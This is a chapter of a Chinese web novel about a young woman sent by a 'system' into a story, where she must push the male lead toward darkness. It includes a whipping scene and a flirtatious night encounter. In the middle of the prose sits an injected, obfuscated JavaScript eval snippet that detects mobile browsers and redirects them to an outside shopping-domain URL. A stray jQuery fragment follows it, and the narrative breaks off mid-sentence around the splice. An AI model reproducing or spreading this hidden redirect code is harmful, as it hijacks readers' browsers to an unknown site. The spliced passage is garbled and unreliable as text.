文趣网 > 其他小说 > 昭然若来便逢春 > 3. 勾引
    刺眼的灯光,挡住景色,路上的行人闲心游玩,远看成景。

    车门关上,隔绝喧嚣,一晃而过,将这一切定格在远方。

    宴昭然撑着脑袋,看着后退的夜景,“系统,我想查看江逢春的黑化值。”

    “宿主,只有在黑化临界点,或者剧情完善完成时才会显现黑化值哦”

    “有时候,真的想说一句很抱歉的话……”

    0107忙捂住耳朵,“我不听,我不听。”

    宴昭然屈起食指,在它额间一弹,“你想想!别人小说里的系统,不是帮宿主勘测就是金手指,我这怎么什么都没有!”

    怎么轮到自己越看越不对劲,越想越像杀猪盘。

    先抛出高薪,欺骗我出卖劳动力,让我在这里勤勤恳恳地工作,永无天日。

    真是细思极恐。

    0107刚找到落脚点,急忙解释道:“不是的,每个阶段任务最多一个月,无论宿主是否完成任务,都会放你回去,只是工资便只有底薪了。”

    它飞到宴昭然的肩膀上,蹦了蹦,当作安慰,“主神大人的规则是很合理的,宿主放心哦。”

    难言、怪异、惊惧,都压在胸口,涌上心头。

    这些微小的异感来得无凭无据,暂且放下。但旁边这道刺眼的视线,自上车起就没离开过。

    宴昭然看向他。

    江逢春便若无其事的转回头,看向窗外。仿佛刚才那如有实质的注视,只是她的错觉。

    宴昭然:“……”

    流动的霓虹没有吸引力,倒是冷白的庭院灯光让人眼前一亮。

    宴昭然迫不及待地下车,跑进庭院。微凉的夜风拂面,让胸口的窒闷感稍缓。

    但今晚,佣人站的格外直挺,看来注定是有一场别样的硬仗。

    “小姐,夫人回来了。”

    宴昭然抿唇苦笑。

    我就知道……

    她回头看身后,好像每次他都能接住她的目光,就像他的视线从未离开过一样。

    想到这,宴昭然不禁打了个寒颤。

    有必要吗?生怕别人不知道他要暗杀我一样。

    不知是不是被灌了酒的缘故,江逢春的脸上还浮着淡淡的红晕。对上她嫌弃的眼神,竟露出了,近乎娇憨的微笑,“谢谢昭昭关心”

    若不是知道他的目的,我真的要狠狠唾弃江逢春的奇葩脑回路。

    宴昭然冷冷地笑道:“确实担心,担心弄不死你。”

    大门是冷暖交替的地方,只不过交替的不是温度,而是光。

    室内暖黄色灯光散落,却没有一丝暖意。灯光落在林慧愠怒的脸上,反倒吞没了最后一丝强撑的惬意。

    “叮咚!人物介绍:林慧,典型恶毒继母,工作狂,陪伴孩子的时间少,但溺爱。除了女儿,平等恨所有人哦!”

    “友情提示:该NPC能给宿主提供重要工具和帮助,宿主好好利用哦。”

    室内安静,只剩佛珠碰撞的细碎声响。

    听说信佛的人,大都性情温和,温文尔雅。但林慧睁开眼,眼里的刻薄,将最后的平衡撕破。

    林慧拿手扇了扇,“一股恶心味,不知又去哪鬼混了。果然狐媚子的种,下三滥的手段会遗传。”

    味道?

    宴昭然偷偷往他身边移动,嗅了嗅。

    酒味挺淡的,怎么闻到的?

    江逢春轻笑着倾身,胳膊蹭到了她的手臂,轻而快,泛着细细的痒。

    宴昭然不动声色地退回原地,挠了挠那片被蹭到的肌肤,心里带着点愧疚。

    “昭昭,”林慧招了招手,“过来。这些天没见,怎么跟妈妈生分了?”

    “哪有。”她坐到林慧身边,一边观察着江逢春,一边应付林慧,“妈妈要回来怎么早点告诉我,我好早点在门口接你。”

    林慧絮絮叨叨地说着,她时不时点头应着。

    江逢春脸上的红晕已经消散了,脸上透着白。不知是营养不均的白,又或是恨意浮上了脸。

    那双深情眼,带着怒慎,看向她时慢慢被柔情灌没。

    宴昭然饶有兴致地欣赏这个模样,恨意露出慢慢压下,装作,爱的深,念的切。

    这一切,都在实在有趣。不用她出手,也能看江逢春恨意上涨。

    简直相安无事,事事顺遂。直到一排佣人拿着工具,候在江逢春身前。

    林慧摸了摸她的头,“好了,该惩罚犯错的人了。”

    嗯?

    刚刚不还在叙旧吗?怎么转场都不通知当事人吗?

    林慧捏捏她肉嘟嘟的脸,一脸怜惜,“我知道昭昭是个善良的孩子,不忍心他受罚。但犯了错就要受罚,昭昭不想看,就回房间休息去。”

    这滤镜是开了多厚,才会说恶毒女配善良,这件事我是罪魁祸首啊。

    但我不能直接出手阻止,不能崩人设。

    鞭子一抽落在地上,开鞭的声音响彻。

    江逢春没反抗,直直地跪在地上。

    宴昭然捏住衣角,着急地想着解决办法。反观在受刑的人,神态自若,看着宴昭然的小眼神里还带着一点窃喜。

    这人怎么是逆来顺受的性格,真的会有读者喜欢这么菜的男主吗?

    不行,得想个办法,我的任务是引他黑化,不是让他皮开肉绽。这伤在身上不知道要养多久,对着一副残躯,我可不忍心下手。

    林慧信佛不应该见不了血腥吗?她每天念佛是在求佛祖宽恕她的罪恶吧!

    鞭子第二次落地,她拉住林慧的胳膊,“妈妈,这么有趣的事,怎么不让我来?”

    这话一出,林慧欣喜万分。

    三年前,宴昭然像发疯一样喜欢上江逢春。宴家和林家的千金,不顾家族脸面,追着一个私生子,非他不可。

    当时林慧气得不轻,她对宝贝女儿的要求不高,只要不是恋爱脑,坏一点,将人打残又如何。

    林慧递出鞭子,坐在一旁观看。

    宴昭然手止不住的发抖,掌心的冷汗瞬间浸湿了鞭柄。鞭柄很沉,沉得压着她的良心。

    紧握的鞭子朝江逢春甩去,收着力气,打的偏离。

    但尾尖还是碰到他的手臂,裂开一道缝,血红的刺眼,血滴淌落。

    好在伤口不大,宴昭然瞟了一眼,放下心来。

    江逢春注意到她的目光,用手擦掉流动的血珠,才缓缓抬头看她,眼里充满了真实的、未加掩饰的痛楚与……忧伤?

    宴昭然学着林慧方才厌恶的模样,将鞭子扔在地上,“恶心死了,真是脏了我的手。”

    她跑到林慧身边,晃着她的胳膊撒娇道:“妈妈难得回来一趟,我想和妈妈聊天,让他滚,不想和他浪费时间。”

    “好好好,”林慧松了口,“那让他在这罚跪一夜。正好我还有时间,陪昭昭聊聊。”

    宴昭然松了一口气,跪着总比挨鞭子强。

    但江逢春却不太对劲,许是疼痛冲昏了大脑,他脸上的神情不再平静,我见犹怜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914582|213283||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。汗珠从额间滴落,连喘息都带着颤意。

    宴昭然脚步顿住,心里不是滋味。

    哥,你挺住啊。等我弄走林慧就来救你。

    夜半,大厅空旷,所有灯都已熄灭,只剩窗外一点惨淡的月光。

    终于等到一个不知名的电话叫走林慧。

    宴昭然趴在窗台上,看着汽车远离,才走出房间。

    一切准备就绪,假装路过,然后羞辱江逢春一顿,让他滚回房间。

    她在楼梯口探出头,寻找江逢春的身影。只是好似月光也不怜惜他,吝啬地绕开了他所在的区域。

    江逢春就这样与黑暗融成了一体,就像他归属于黑暗孤寂。

    她的脚步很轻,但一抬脚还是被江逢春唤住,好似在她看不见的地方,那人早就精准地“接住”了她的窥视。

    月光似看懂了这场苦情戏码,不再吝啬月光。江逢春利用那一点光,让伤口显现在光下。

    过了这么久,伤口怎么一点愈合的迹象都没有,还变大了?!还淌了这么多血,要是她再不来,恐怕男主就要失血过多死了!

    这是什么事啊!

    宴昭然急忙跑过去,将人揽入怀中,擦拭他额间的冷汗。

    “血还在流。”江逢春的声音极低,“昭昭别看。”

    宴昭然挪开他的手,撕下裙子上的布料,先跟他简单的包扎。

    “我不怕。”

    虽然这句话参了水分,她确实怕血,只不过不是晕血,而是心里创伤导致的害怕可流动血。准确来说,这种只是看着有点眼花,只有血流成河那个量,才会有极强烈的排斥反应。

    他的呼吸越来越沉重,伤口必须马上处理。

    宴昭然拿出狠戾的语气,捏紧拳头,“跟我回我房间,不然后果你知道的。”

    他眼睛弯了弯,唇角微微地弯了一下,“好。”

    答应的太过顺利,宴昭然还未来得及反应,江逢春便朝她压下来。

    冰冷的脸颊贴着颈侧,喘息没了轻重,悬在耳畔,湿漉勾人。

    江逢春的姿态的确魅惑,下唇有意无意地蹭过她的耳垂,呢喃声沙哑。不像是失血过多,像是三分醉意十分勾人。

    气息的浮动,温热,潮气。无论哪个都让人耳尖透红,宴昭然也不例外。

    江逢春勾起笑意,吻上那红透的耳廓。

    宴昭然腾出手,将他的脑袋板正,避免他们过多的不正当接触,温柔细语的劝道:“乖一点,别乱动,流了那么多血,头晕难受是正常的,先忍一忍。”

    江逢春喉咙里滚动,掌心钳住她的下颌,低声说着:“昭昭还真是……木头脑袋。”

    宴昭然感受到他的力度,拖住他的胳膊,往回拉,尽量耐心道:“好了,知道你还有力气了,可以放开我了吗?”

    “昭昭,”他突然凑近,贴在她的鼻尖,“怎么就不明白呢。”

    鼻息相碰,宴昭然连连后退,却被手掌挡住后退的路,指尖在她的唇上轻点,江逢春的语气不急不缓,就如同陈述事实:“我在勾引昭昭。”

    宴昭然扣住他的头,盯着他的红唇靠近。

    炙热的呼吸灼烧着皮肤,气息缠绵。只差一点,只在唇齿相碰前一刻,江逢春后劲受到一击,倒在地上。

    宴昭然烦躁地将人拉起,扛在身上,“让你听话,你要乱动。本来不想和病人动手,但谁让你听不懂人话呢。”

    她轻轻哼笑,“不乖的小孩,是要受到惩罚的,这可不能怪我哦。”